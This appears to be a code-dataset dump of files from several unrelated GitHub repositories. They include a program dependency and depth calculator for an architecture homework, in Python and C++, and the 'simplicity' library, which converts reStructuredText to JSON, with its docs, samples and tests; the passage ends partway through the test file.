"alpha_fraction": 0.6484375, "alphanum_fraction": 0.6640625, "avg_line_length": 13.222222328186035, "blob_id": "f44df82d7fb9f989d6fed48be6a2e34aa2b995cf", "content_id": "ad219c557033a94df8131fc2cf4becfb14ce056a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 128, "license_type": "no_license", "max_line_length": 57, "num_lines": 9, "path": "/README.md", "repo_name": "pulseenergy/price-ec2", "src_encoding": "UTF-8", "text": "# price-ec2\n:money_with_wings: How much are you spending *right now*?\n\n## usage\n```\nmake\n. venv/bin/activate\n./price-ec2.py\n```\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.692307710647583, "avg_line_length": 16.33333396911621, "blob_id": "c9daaae9f9d56c8dcede1f3b617a6faae7472e2d", "content_id": "0508de87c3db5cb651cc0dd24e159a708e742852", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 52, "license_type": "no_license", "max_line_length": 22, "num_lines": 3, "path": "/requirements.txt", "repo_name": "pulseenergy/price-ec2", "src_encoding": "UTF-8", "text": "boto3==1.4.1\ncached-property==1.3.0\ntabulate==0.7.7\n" } ]
4
giangbui/object_detection_pixell
https://github.com/giangbui/object_detection_pixell
849aaccebf4a80e4779b59e37e51a55fbc2efc2d
50682e95b910ef4e5df15b493b10bc5a08c75b38
cc904cda2a7f620ece68faf922bb3ee2373426db
refs/heads/master
2023-02-26T21:49:27.266489
2021-02-11T16:20:53
2021-02-11T16:20:53
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8095238208770752, "alphanum_fraction": 0.8571428656578064, "avg_line_length": 42, "blob_id": "4092ae82391c16d34bdcb549a2ee7e23da3f1349", "content_id": "a2071903fba7c9c0e7063484ba20f9d4926f1c27", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 42, "license_type": "permissive", "max_line_length": 42, "num_lines": 1, "path": "/models/__init__.py", "repo_name": "giangbui/object_detection_pixell", "src_encoding": "UTF-8", "text": "from .pcloud_to_box3d import PCloudToBox3D" } ]
1
simonlav24/ProgramDependenceAnalysis
https://github.com/simonlav24/ProgramDependenceAnalysis
348f1c5d31aea56c0bf9cdc18585ec9c7a66a6c1
3d00632821fe2b42ae490d1e8658a874a66f8d65
6c86bff7a915be952eefdda87a160928988b8eb4
refs/heads/master
2023-05-23T12:01:34.354759
2021-06-06T20:39:10
2021-06-06T20:39:10
371,745,851
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6062394380569458, "alphanum_fraction": 0.6268128156661987, "avg_line_length": 25.31999969482422, "blob_id": "0b7a8e2339f2f2a837494b1367a589ab19222f9a", "content_id": "3c263ba81c007a5310bf45bfbdabfed9fa29dcf7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5930, "license_type": "no_license", "max_line_length": 107, "num_lines": 225, "path": "/hw3sketch.py", "repo_name": "simonlav24/ProgramDependenceAnalysis", "src_encoding": "UTF-8", "text": "import sys\nimport os\nimport subprocess\n\n# command example for graphNode = \"D:\\python\\graphNode.py [[1,2,'best_tool'],[(1,2),(0,1),(0,2)]]\"\n\nENTRY = \"'Entry'\"\nEXIT = \"'Exit'\"\nINFINITY = 1000\n\nclass Instruction:\n\tdef __init__(self, opcode, dst, p1, p2):\n\t\tself.opcode = opcode\n\t\tself.dst = dst\n\t\tself.param1 = p1\n\t\tself.param2 = p2\n\t\tself.cycles = 0\n\t\t\n\t\tself.dependencies = []\n\t\tself.pointed = False\n\tdef addDependencie(self, num):\n\t\tself.dependencies.append(num)\n\t\tif len(self.dependencies) > 2:\n\t\t\tself.dependencies.pop(0)\n\tdef calculate(self, data):\n\t\tif self.opcode in [ENTRY, EXIT]:\n\t\t\tself.pointed = True\n\t\t\treturn\n\t\tself.cycles = data[int(self.opcode)]\n\tdef __str__(self):\n\t\tif self.opcode in [ENTRY, EXIT]:\n\t\t\treturn self.opcode\n\t\tstring = \"'(\" + self.opcode\n\t\tif self.cycles != 0:\n\t\t\tstring += \", \" + str(self.cycles)\n\t\tstring += \") \" + self.dst + \"_\" + self.param1 + \"_\" + self.param2\n\t\treturn string + \"'\"\n\tdef __repr__(self):\n\t\treturn str(self)\n\nclass Node:\n\tdef __init__(self, index):\n\t\tself.index = index\n\t\tself.edges = []\n\tdef __str__(self):\n\t\treturn \"(\" + str(self.index) + \")-> \" + str(self.edges)\n\tdef __repr__(self):\n\t\treturn str(self)\n\t\t\nclass Edge:\n\tdef __init__(self, source, dest, weight):\n\t\tself.source = source\n\t\tself.dest = dest\n\t\tself.weight = weight\n\tdef __str__(self):\n\t\tstring = \"\"\n\t\treturn \"(\" + str(self.dest) + \", \" + str(self.weight) + \")\"\n\tdef __repr__(self):\n\t\treturn str(self)\n\ndef copy2clip(string):\n\tcmd = 'echo | set /p=' + string.strip() + '|clip'\n\treturn subprocess.check_call(cmd, shell=True)\n\n\n\ndef analyzeProg(opsLatencyFile, progTrace, numOfInsts):\n\t# create instructions array and add \"Entry\"\n\tprogramCounter = []\n\tprogramCounter.append(Instruction(ENTRY, \"\", \"\", \"\"))\n\topcodes = []\n\t\n\t# read instructions file and add to array\n\twith open(progTrace, 'r') as fileProgram:\n\t\tfor line in fileProgram:\n\t\t\tif line[0] == '#':\n\t\t\t\tcontinue\n\t\t\topcode, dst, param1, param2 = line.split()\n\t\t\tprogramCounter.append(Instruction(opcode, dst, param1, param2))\n\t# add \"Exit\" to array\n\tprogramCounter.append(Instruction(EXIT, \"\", \"\", \"\"))\n\t\n\t# read opcodes cycles and calculate to instructions\n\twith open(opsLatencyFile) as fileOpcode:\n\t\tfor line in fileOpcode:\n\t\t\topcodes.append(int(line))\n\tfor i in programCounter:\n\t\ti.calculate(opcodes)\n\t\n\t# calculate dependencies graph\n\tedges = []\n\tdestinations = []\n\tfor i, pc in enumerate(programCounter):\n\t\t# check if a parameter is in previous destineations\n\t\tdependent = False\n\t\tfor j, dest in enumerate(destinations):\n\t\t\tif pc.param1 == dest or pc.param2 == dest:\n\t\t\t\tpc.addDependencie(j)\n\t\t\t\tprogramCounter[j].pointed = True\n\t\t\t\tdependent = True\n\t\tif pc.opcode in [ENTRY, EXIT]:\n\t\t\tdestinations.append(\"-1\")\n\t\t\tcontinue\n\t\t# if not dependent then point to \"Entry\"\n\t\tif not dependent:\n\t\t\tpc.addDependencie(0)\n\t\tdestinations.append(pc.dst)\n\t\n\t# assign \"Exit\" to unpointed nodes\n\tfor i, pc in enumerate(programCounter):\n\t\tif not pc.pointed:\n\t\t\tprogramCounter[-1].dependencies.append(i)\n\t\n\t\n\t################################################## for visualization\n\t# create edges of graph\n\tfor i, pc in enumerate(programCounter):\n\t\tfor d in pc.dependencies:\n\t\t\tedges.append((i, d))\n\t\n\t# output to visualization via graphNode.py\n\tstring = \"graphNode.py \" + str([programCounter, edges]).replace(\" \", \"\")\n\t# print(string)\n\tcopy2clip(string)\n\t##################################################\n\t\n\t\n\t# create handle\n\thandle = [None] * len(programCounter)\n\tfor i, instruction in enumerate(programCounter):\n\t\tnode = Node(i - 1)\n\t\tfor edge in instruction.dependencies:\n\t\t\te = Edge(i - 1, edge - 1, programCounter[edge].cycles)\n\t\t\tprint(\"weight\", e.weight)\n\t\t\tnode.edges.append(e)\n\t\thandle[i] = node\n\t\n\t# for i in handle:\n\t\t# print(i)\n\t\n\treturn handle\n\ndef getInstDeps(ctx, theInst, src1DepInst, src2DepInst):\n\tfor i in ctx:\n\t\tif int(i.index) == theInst:\n\t\t\tif len(i.edges) == 0:\n\t\t\t\tsrc1DepInst[0] = -1\n\t\t\t\tsrc2DepInst[0] = -1\n\t\t\tif len(i.edges) == 1:\n\t\t\t\tsrc1DepInst[0] = i.edges[0].dest\n\t\t\t\tsrc2DepInst[0] = -1\n\t\t\tif len(i.edges) == 2:\n\t\t\t\tsrc1DepInst[0] = i.edges[0].dest\n\t\t\t\tsrc2DepInst[0] = i.edges[1].dest\n\t\t\tbreak\n\tprint(\"getInstDeps(\" + str(theInst) + \")==\" + \"{\" + str(src1DepInst[0]) + \",\" + str(src2DepInst[0]) + \"}\")\n\n\ndef findShortestPath(handle, source):\n\td = [INFINITY] * len(handle)\n\td[source] = 0\n\n\tfor j in range(len(handle) - 1):\n\t\t# initialize current distance\n\t\td_current = d.copy()\n\t\t# print(d_current)\n\t\t# iterate edges:\n\t\tfor i in handle:\n\t\t\tfor edge in i.edges:\n\t\t\t\tprint(edge.source, edge.dest, edge.weight)\n\t\t\t\t# relaxation\n\t\t\t\tif d[edge.source + 1] + (-1) * edge.weight < d_current[edge.dest + 1]:\n\t\t\t\t\td_current[edge.dest + 1] = d[edge.source + 1] + (-1) * edge.weight\n\t\td = d_current\n\t\t# print(d_current)\n\t\t\n\treturn (-1) * d_current[0]\n\ndef getProgDepth(handle):\n\tpathLength = findShortestPath(handle, -1)\n\tprint(\"getProgDepth()==\" + str(pathLength))\n\ndef getInstDepth(handle, inst):\n\tpathLength = findShortestPath(handle, inst + 1)\n\tprint(\"getDepDepth(\" + str(inst) + \")==\" + str(pathLength))\n\nif __name__ == \"__main__\":\n\n\topsLatencyFile = sys.argv[1]\n\tprogTrace = sys.argv[2]\n\tnumOfInsts = sys.argv[3:]\n\t\n\t# print(\"#############################################\")\n\t# print(\"# Opcode data file:\", opcodeData)\n\t# print(\"# Program file: \", program)\n\t# print(\"# commands: \", commands)\n\t# print(\"#############################################\")\n\n\thandle = analyzeProg(opsLatencyFile, progTrace, numOfInsts)\n\t\n\t# for i in handle:\n\t\t# print(i)\n\t\n\t\n\t###./dflow_calc opcode1.dat example2.in p0 p10 p14 d4 d14\n\t# getProgDepth(handle)\n\t\n\t# getInstDepth(handle, 0)\n\t# getInstDepth(handle, 10)\n\t# getInstDepth(handle, 14)\n\n\t# getInstDeps(handle, 4, [90],[90])\n\t# getInstDeps(handle, 14, [90],[90])\n\t\n\t\n\tgetProgDepth(handle)\n\t\n\t# getInstDepth(handle, 0)\n\t# getInstDepth(handle, 3)\n\t# getInstDepth(handle, 5)\n\t# getInstDepth(handle, 7)\n\t# getInstDepth(handle, 9)\n\n\t# getInstDeps(handle, 3, [90],[90])\n\t# getInstDeps(handle, 9, [90],[90])\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5313714146614075, "alphanum_fraction": 0.5465567708015442, "avg_line_length": 27.122516632080078, "blob_id": "9e68952ad988043a5f48ec5cdf9a550490b7166f", "content_id": "d40f35bc091125b858986dfba7753c9204ece36b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8495, "license_type": "no_license", "max_line_length": 132, "num_lines": 302, "path": "/hw3cpp/hw3cpp/dflow_calc.cpp", "repo_name": "simonlav24/ProgramDependenceAnalysis", "src_encoding": "UTF-8", "text": "/* 046267 Computer Architecture - Spring 21 - HW #3 */\n/* Implementation (skeleton) for the dataflow statistics calculator */\n\n#include \"dflow_calc.h\"\n#include <iostream>\n#include <vector>\n#include <bits/stdc++.h>\n\nusing std::cout;\nusing std::endl;\n\n#define DEPENDENCIES 2\n#define INF INT_MAX\n// arbitrary denoting empty, exit, entry\n#define EMPTY -101\n#define ENTRY -102\n#define EXIT -103\n\n#define DEBUG if(debug) cout << \"[DEBUG] \" \nbool debug = false;\n\n// class for holding instruction data\nclass Instruction {\npublic:\n int opcode;\n int dst;\n int param1;\n int param2;\n int cycles;\n\n std::vector<int> dependencies;\n bool pointed;\n\n Instruction() {}\n ~Instruction() {}\n Instruction(const Instruction& inst) {\n this->opcode = inst.opcode;\n this->dst = inst.dst;\n this->param1 = inst.param1;\n this->param2 = inst.param2;\n this->cycles = inst.cycles;\n\n this->dependencies = inst.dependencies;\n this->pointed = inst.pointed;\n }\n\n // custom constructor\n void takeFrom(int opcode, int dst, int p1, int p2) {\n this->opcode = opcode;\n this->dst = dst;\n this->param1 = p1;\n this->param2 = p2;\n this->cycles = 0;\n\n pointed = false;\n }\n\n // add dependencie\n void addDependencie(int num, int p) { \n while (dependencies.size() != 2)\n dependencies.push_back(EMPTY);\n dependencies[p - 1] = num;\n }\n\n // calculate cycles based on opcodes file\n void calculate(const unsigned int* data) {\n if (opcode == EXIT || opcode == ENTRY) {\n pointed = true;\n return;\n }\n cycles = data[opcode];\n }\n};\n\n// struct for edge in graph\nstruct Edge {\n int source; \n int dest;\n int weight;\n // num of source's parameter\n int param;\n};\n\n// struct for node in graph\nstruct Node {\n int index;\n std::vector<Edge> edges;\n // length of node array\n int length;\n};\n\n// printing for debugging\nvoid printHandle(Node* handle) {\n if (!debug) return;\n for (int i = 0; i < handle[0].length; i++) {\n cout << \"node[\" << i << \"] index:\" << handle[i].index << \" edges:\" << endl;\n for (unsigned int e = 0; e < handle[i].edges.size(); e++) {\n cout << \"(\" << handle[i].edges[e].source << \", \" << handle[i].edges[e].dest << \", \" << handle[i].edges[e].weight << \")\";\n }\n cout << endl;\n }\n cout << endl;\n}\n\n// copy two arrays\nvoid copyArr(int* arr1, int* arr2, int length) {\n for (int i = 0; i < length; i++) {\n arr1[i] = arr2[i];\n }\n}\n\n// printing for debugging\nvoid printArr(int* arr, int length) {\n if (!debug) return;\n DEBUG;\n for (int i = 0; i < length; i++) {\n cout << arr[i] << \" \";\n }\n cout << endl;\n}\n\n// bellman ford algorithm for shortest path to entry from source\nint findShortestPath(Node* handle, int source) {\n int length = handle[0].length;\n\n int* d = new int[length];\n for (int i = 0; i < length; i++) {\n d[i] = INF;\n }\n d[source] = 0;\n\n int* d_current = new int[length];\n\n for (int j = 0; j < length - 1; j++) {\n // initialize current distance\n copyArr(d_current, d, length);\n // iterate edges\n for (int i = 0; i < length; i++) {\n for (unsigned int k = 0; k < handle[i].edges.size(); k++) {\n Edge& edge = handle[i].edges[k];\n // relaxation with negative weights (for finding heaviest path)\n if (d[edge.source + 1] + (-1) * edge.weight < d_current[edge.dest + 1])\n d_current[edge.dest + 1] = d[edge.source + 1] + (-1) * edge.weight;\n }\n }\n copyArr(d, d_current, length);\n }\n\n int result = (-1) * d_current[0];\n delete[] d;\n delete[] d_current;\n\n return result;\n}\n\n\nProgCtx analyzeProg(const unsigned int opsLatency[], const InstInfo progTrace[], unsigned int numOfInsts) {\n Instruction* programCounter;\n programCounter = new Instruction[numOfInsts + 2];\n\n // insert Entry\n programCounter[0].takeFrom(ENTRY, 0, 0, 0);\n // insert instructions\n for (unsigned int i = 0; i < numOfInsts; i++) {\n programCounter[i + 1].takeFrom(progTrace[i].opcode, progTrace[i].dstIdx, progTrace[i].src1Idx, progTrace[i].src2Idx);\n }\n // insert Exit\n programCounter[numOfInsts + 1].takeFrom(EXIT, 0, 0, 0);\n\n // calculate cycles to instructions\n for (unsigned int i = 0; i < numOfInsts; i++) {\n programCounter[i + 1].calculate(opsLatency);\n }\n\n // calculate dependencies graph\n int totalInst = numOfInsts + 2;\n int* destinations = new int[totalInst];\n for (int i = 0; i < totalInst; i++)\n destinations[i] = EMPTY;\n\n bool dependent;\n for (int i = 0; i < totalInst; i++) {\n // check if a parameter is in previous destineations\n dependent = false;\n for (int j = 0; j < totalInst; j++) {\n int dest = destinations[j];\n if (programCounter[i].param1 == dest) {\n programCounter[i].addDependencie(j, 1);\n programCounter[j].pointed = true;\n dependent = true;\n }\n if (programCounter[i].param2 == dest) {\n programCounter[i].addDependencie(j, 2);\n programCounter[j].pointed = true;\n dependent = true;\n }\n }\n\n if (programCounter[i].opcode == ENTRY || programCounter[i].opcode == EXIT) {\n destinations[i] = -1;\n continue;\n }\n\n // if not dependent then point to \"Entry\"\n if (!dependent)\n programCounter[i].addDependencie(0, 1);\n destinations[i] = programCounter[i].dst;\n }\n\n // assign \"Exit\" to unpointed nodes\n for (int i = 0; i < totalInst; i++) {\n if (!programCounter[i].pointed) {\n programCounter[totalInst - 1].dependencies.push_back(i);\n }\n }\n\n // create handle\n Node* handle = new Node[totalInst]; // deallocated in freeProgCtx\n for (int i = 0; i < totalInst; i++) {\n Node n;\n n.index = i - 1;\n for (unsigned int edge = 0; edge < programCounter[i].dependencies.size(); edge++) {\n if (programCounter[i].dependencies[edge] == EMPTY) continue;\n Edge e;\n // for convinience\n e.param = edge + 1;\n // first node is Entry (index = -1)\n e.source = i - 1;\n e.dest = programCounter[i].dependencies[edge] - 1;\n e.weight = programCounter[programCounter[i].dependencies[edge]].cycles;\n n.edges.push_back(e);\n }\n handle[i] = n;\n }\n // mark length of node array in first node\n handle[0].length = totalInst;\n\n delete[] destinations;\n delete[] programCounter;\n\n printHandle(handle);\n\n return (ProgCtx*)handle;\n}\n\nvoid freeProgCtx(ProgCtx ctx) {\n Node* handle = (Node*)ctx;\n delete[] handle;\n}\n\nint getInstDepth(ProgCtx ctx, unsigned int theInst) {\n Node* handle = (Node*)ctx;\n int totalInst = handle[0].length;\n if ((int)theInst >= totalInst - 2)\n return -1;\n // find shortest path alg\n int pathLength = findShortestPath(handle, theInst + 1);\n\n return pathLength;\n return 0;\n}\n\nint getInstDeps(ProgCtx ctx, unsigned int theInst, int *src1DepInst, int *src2DepInst) {\n Node* handle = (Node*)ctx;\n int totalInst = handle[0].length;\n if ((int)theInst >= totalInst - 2)\n return -1;\n\n for (int i = 0; i < totalInst; i++) {\n if (handle[i].index == (int)theInst) {\n if (handle[i].edges.size() == 0) {\n *src1DepInst = -1;\n *src2DepInst = -1;\n }\n if (handle[i].edges.size() == 1) {\n if (handle[i].edges[0].param == 1) {\n *src1DepInst = handle[i].edges[0].dest;\n *src2DepInst = -1;\n }\n else {\n *src1DepInst = -1;\n *src2DepInst = handle[i].edges[0].dest;\n }\n }\n if (handle[i].edges.size() == 2) {\n *src1DepInst = handle[i].edges[0].dest;\n *src2DepInst = handle[i].edges[1].dest;\n }\n }\n }\n\n return 0;\n}\n\nint getProgDepth(ProgCtx ctx) {\n Node* handle = (Node*)ctx;\n int totalInst = handle[0].length;\n // find shortest path alg\n int pathLength = findShortestPath(handle, totalInst - 1);\n\n return pathLength;\n}\n\n\n" } ]
2
pitsyncranjith/simplicity
https://github.com/pitsyncranjith/simplicity
05f90711fb0f15a2fb4acbdab0733c656e4ba928
aef4ce39b0965b8d333c67c9d6ec5baecee9c617
1235413f9f6d64c67ebaf76e161d2b23674fdb7d
refs/heads/master
2021-01-21T15:44:41.588552
2014-01-29T17:13:24
2014-01-29T17:13:24
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.37552741169929504, "alphanum_fraction": 0.37552741169929504, "avg_line_length": 28.75, "blob_id": "7d9ff5f6b90acdf3f89aa60ae34d8a9619426c95", "content_id": "65c154efc9f9de7a4b8c20b5ebb041854d1b1d86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 237, "license_type": "no_license", "max_line_length": 52, "num_lines": 8, "path": "/sample2.rst", "repo_name": "pitsyncranjith/simplicity", "src_encoding": "UTF-8", "text": "====================================================\nMy Title (Sample ReST document)\n====================================================\n\n.. image:: https://nowhere.org/xxx.png\n :target: https://nowhere.org/xxx-target/\n\nMore text ..." }, { "alpha_fraction": 0.5404958724975586, "alphanum_fraction": 0.5482093691825867, "avg_line_length": 20.104650497436523, "blob_id": "c14bc7f12d0ef47d164d9178ecfa594d0f107e18", "content_id": "c4ef08826324d486d44c059f30e7be259bc8d02c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 1815, "license_type": "no_license", "max_line_length": 95, "num_lines": 86, "path": "/README.rst", "repo_name": "pitsyncranjith/simplicity", "src_encoding": "UTF-8", "text": "==========\nsimplicity\n==========\n\nConverts ReStructuredText into JSON. \n\n* **Sections** are JSON list dictionary elements \n* **Section Headers** become list titles.\n* **Field** definitions become key/value representations.\n* **Directives** are ignored.\n\nExample\n-------\n\nInput\n\n.. code-block:: RestructuredText\n\n Python\n ------\n :age: 22\n :typing: dynamic, strong\n \n Java \n ----\n :age: 18\n :typing: static, strong\n \nOutput\n\n.. code-block:: JavaScript\n\n [\n {\"title\": \"Python\", \"age\": 22, \"typing\": \"dynamic, strong\"}\n {\"title\": \"Java\", \"age\": 18, \"typing\": \"static, strong\"}\n ]\n \nUsage\n------\n\n.. code-block:: bash\n\n $ git clone [email protected]:pydanny/simplicity.git\n $ cd simplicity/\n $ python simplicity.py sample.rst\n [\n {\n \"description\": \"A fun programming language.\\n\\nUsed to build simplicity!\", \n \"title\": \"Python\",\n \"price\": 0.0,\n \"typing\": \"dynamic, strong\",\n \"age\": 22,\n \"mascot\": \"snake\"\n },\n {\n \"age\": 18,\n \"typing\": \"static, strong\",\n \"mascot\": \"???\",\n \"title\": \"Java\"\n },\n {\n \"url\": \"https://github.com\",\n \"mascot\": \"Octocat\",\n \"title\": \"GitHub\"\n }\n ]\n\n\nBest Used With\n----------------\n\nSimplicity is designed to be used with these packages:\n\n* Complexity_: A refreshingly simple static site generator, for those who like to work in HTML.\n* `redis-py`_: Redis Python Client\n\n.. _Complexity: https://github.com/audreyr/complexity\n.. _`redis-py`: https://github.com/andymccurdy/redis-py\n\n\nKnow of any other good uses for Simplicity? Let me know and I'll add it to the list!\n\nExamples\n---------\n\n* https://github.com/pydanny/simplicity-complexity-example\n" }, { "alpha_fraction": 0.48621830344200134, "alphanum_fraction": 0.6449834704399109, "avg_line_length": 14.912281036376953, "blob_id": "6c90c86036031993051f6bc15f2a6aed445ce5bc", "content_id": "033f22d5ef61f3e605ee2f3b803c7b98c0c0e14a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 907, "license_type": "no_license", "max_line_length": 83, "num_lines": 57, "path": "/HISTORY.rst", "repo_name": "pitsyncranjith/simplicity", "src_encoding": "UTF-8", "text": "History\n=======\n\n0.6.4 (2014-01-29)\n\n * Handle case where the key is not in the dict (thanks @greatdesignisnotenough)\n\n0.6.3 (2013-11-12)\n\n * Handles RST directives gracefully (ignores them)\n\n0.6.2 (2013-07-25)\n\n * Fixes the problem with normal text after field definitions.\n\n0.6.1 (2013-07-23)\n\n * Better multi-line string support\n * Fixed some Python 3 issues\n * Added tests!\n\n0.6.0 (2013-07-19)\n\n * Support for multi-line strings\n\n0.5.1 (2013-07-16)\n\n * Fighting poorly documented setup.py issues. :P\n\n0.5.0 (2013-07-16)\n\n * API Change for easier-to-navigate result data\n\n0.4.2 (2013-07-15)\n\n * Fix console script entry point\n\n0.4.1 (2013-07-15)\n\n * History update\n\n0.4.0 (2013-07-15)\n\n * added type converter\n\n0.3.0 (2013-07-15)\n\n * Accepts command-line argument\n\n0.2.0 (2013-07-15)\n\n * Working prototype\n\n0.1.0 (2013-07-15)\n\n * Pain point\n * Inspiration\n" }, { "alpha_fraction": 0.7647058963775635, "alphanum_fraction": 0.7647058963775635, "avg_line_length": 16.5, "blob_id": "ab05c80ace7ab790325c735030465233ae16a7ff", "content_id": "5053c1e339232d470cf1e619eb110fad1ff6f864", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 34, "license_type": "no_license", "max_line_length": 25, "num_lines": 2, "path": "/AUTHORS.rst", "repo_name": "pitsyncranjith/simplicity", "src_encoding": "UTF-8", "text": "* Daniel Greenfeld\n* @greatdesignisnotenough" }, { "alpha_fraction": 0.5377538204193115, "alphanum_fraction": 0.5434644818305969, "avg_line_length": 26.408695220947266, "blob_id": "093d3fb56522bbd91feb0df1d7f6f700885312ae", "content_id": "b30469eadbcc1413147ed159d3cfe51cf68d1272", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3152, "license_type": "no_license", "max_line_length": 92, "num_lines": 115, "path": "/simplicity.py", "repo_name": "pitsyncranjith/simplicity", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'Daniel Greenfeld'\n__version__ = \"0.6.4\"\n\nimport json\nimport string\nimport sys\n\n# Python 3 compatibility\nP3K = sys.version > '3'\nSTRING_TYPE = str if P3K else unicode\nDIVIDERS = ['~', '=', '-', '+', '_']\n\n\ndef file_opener(filename):\n \"\"\" I'm basically a context manager for opening files! \"\"\"\n with open(filename) as f:\n text = f.read()\n return text\n\n\ndef text_cleanup(data, key, last_type):\n \"\"\" I strip extra whitespace off multi-line strings if they are ready to be stripped!\"\"\"\n if key in data and last_type == STRING_TYPE:\n data[key] = data[key].strip()\n return data\n\n\ndef rst_to_json(text):\n \"\"\" I convert Restructured Text with field lists into Dictionaries!\n\n TODO: Convert to text node approach.\n \"\"\"\n records = []\n last_type = None\n key = None\n data = {}\n directive = False\n\n lines = text.splitlines()\n for index, line in enumerate(lines):\n\n # check for directives\n if len(line) and line.strip().startswith(\"..\"):\n directive = True\n continue\n\n # set the title\n if len(line) and (line[0] in string.ascii_letters or line[0].isdigit()):\n directive = False\n try:\n if lines[index + 1][0] not in DIVIDERS:\n continue\n except IndexError:\n continue\n data = text_cleanup(data, key, last_type)\n data = {\"title\": line.strip()}\n records.append(\n data\n )\n continue\n\n # Grab standard fields (int, string, float)\n if len(line) and line[0].startswith(\":\"):\n data = text_cleanup(data, key, last_type)\n index = line.index(\":\", 1)\n key = line[1:index]\n value = line[index + 1:].strip()\n data[key], last_type = type_converter(value)\n directive = False\n continue\n\n # Work on multi-line strings\n if len(line) and line[0].startswith(\" \") and directive == False:\n if not isinstance(data[key], str):\n # Not a string so continue on\n continue\n value = line.strip()\n if not len(value):\n # empty string, continue on\n continue\n # add next line\n data[key] += \"\\n{}\".format(value)\n continue\n\n if last_type == STRING_TYPE and not len(line):\n if key in data.keys():\n data[key] += \"\\n\"\n\n return json.dumps(records)\n\n\ndef type_converter(text):\n \"\"\" I convert strings into integers, floats, and strings! \"\"\"\n if text.isdigit():\n return int(text), int\n\n try:\n return float(text), float\n except ValueError:\n return text, STRING_TYPE\n\n\ndef command_line_runner():\n \"\"\" I run functions from the command-line! \"\"\"\n filename = sys.argv[-1]\n if not filename.endswith(\".rst\"):\n print(\"ERROR! Please enter a ReStructuredText filename!\")\n sys.exit()\n print(rst_to_json(file_opener(filename)))\n\nif __name__ == \"__main__\":\n command_line_runner()\n" }, { "alpha_fraction": 0.6745689511299133, "alphanum_fraction": 0.6896551847457886, "avg_line_length": 15.034482955932617, "blob_id": "0c91edc52a34a26209c1e3eaebe4d596eaa08726", "content_id": "9ceb4e70d9d3a924a8d6f56a893fd01300e951b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 464, "license_type": "no_license", "max_line_length": 69, "num_lines": 29, "path": "/sample.rst", "repo_name": "pitsyncranjith/simplicity", "src_encoding": "UTF-8", "text": "Python\n------\n:age: 22\n:typing: dynamic, strong\n:mascot: snake\n:price: 0.00\n:description: A fun programming language.\n\n Used to build simplicity!\n\nMy favorite programming language. This line is ignored by simplicity.\n\nJava \n----\n:age: 18\n:typing: static, strong\n:mascot: ???\n\nGitHub\n--------\n:url: https://github.com\n:mascot: Octocat\n\nThese are three code examples.\n\n.. image:: https://nowhere.org/xxx.png\n :target: https://nowhere.org/xxx-target/\n\nMore text" }, { "alpha_fraction": 0.6287508606910706, "alphanum_fraction": 0.636427104473114, "avg_line_length": 30.494504928588867, "blob_id": "fcf770c689481056984699da2aedf713317ce6ef", "content_id": "0c7417eb68ff46086d4eba465539ded28ef716a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2866, "license_type": "no_license", "max_line_length": 87, "num_lines": 91, "path": "/tests.py", "repo_name": "pitsyncranjith/simplicity", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nimport sys\nimport unittest\n\nimport simplicity\n\n# Python 3 compatibility\nP3K = sys.version > '3'\nSTRING_TYPE = str if P3K else unicode\n\nMULTILINE_STRING_TEST = \"\"\"A fun programming language.\n\nUsed to build simplicity!\"\"\"\n\n\nclass Rst2Json(unittest.TestCase):\n \"\"\" I test all facets of the Rst2Json function! Cool!\"\"\"\n\n def setUp(self):\n with open('sample.rst') as f:\n text = simplicity.rst_to_json(f.read())\n self.data = json.loads(text)\n with open('sample2.rst') as f:\n text = simplicity.rst_to_json(f.read())\n self.data2 = json.loads(text)\n\n def test_number_of_records(self):\n \"\"\" I test that the right number of records are created! \"\"\"\n self.assertEqual(len(self.data), 3)\n\n def test_types(self):\n \"\"\" I test that Simplicity makes a list and each element is a dictionary! \"\"\"\n self.assertTrue(isinstance(self.data, list))\n self.assertTrue(isinstance(self.data[0], dict))\n self.assertTrue(isinstance(self.data[1], dict))\n self.assertTrue(isinstance(self.data[2], dict))\n\n def test_titles(self):\n \"\"\" I test that each record has it's title element as it's dictionary title!\"\"\"\n self.assertEqual(self.data[0]['title'], \"Python\")\n self.assertEqual(self.data[1]['title'], \"Java\")\n self.assertEqual(self.data[2]['title'], \"GitHub\")\n\n def test_integer(self):\n \"\"\" I test integers by looking at the age of Python! \"\"\"\n self.assertTrue(isinstance(self.data[0]['age'], int))\n\n def test_float(self):\n \"\"\" I test floats by looking at how much it costs to download Python! \"\"\"\n self.assertTrue(isinstance(self.data[0]['price'], float))\n\n def test_string(self):\n \"\"\" I test strings by looking at Python's mascot! \"\"\"\n self.assertTrue(isinstance(self.data[0]['mascot'], STRING_TYPE))\n\n def test_multiline_string(self):\n self.assertEquals(self.data[0]['description'], MULTILINE_STRING_TEST)\n\n def test_directives(self):\n self.assertEquals(self.data2[0]['title'], u'My Title (Sample ReST document)')\n\n\nclass FileOpener(unittest.TestCase):\n\n def test_basics(self):\n \"\"\" I test that file_opener returns more than just itself!\"\"\"\n text = simplicity.file_opener(\"sample.rst\")\n self.assertNotEqual(text, \"sample.rst\")\n text = simplicity.file_opener(\"README.rst\")\n self.assertNotEqual(text, 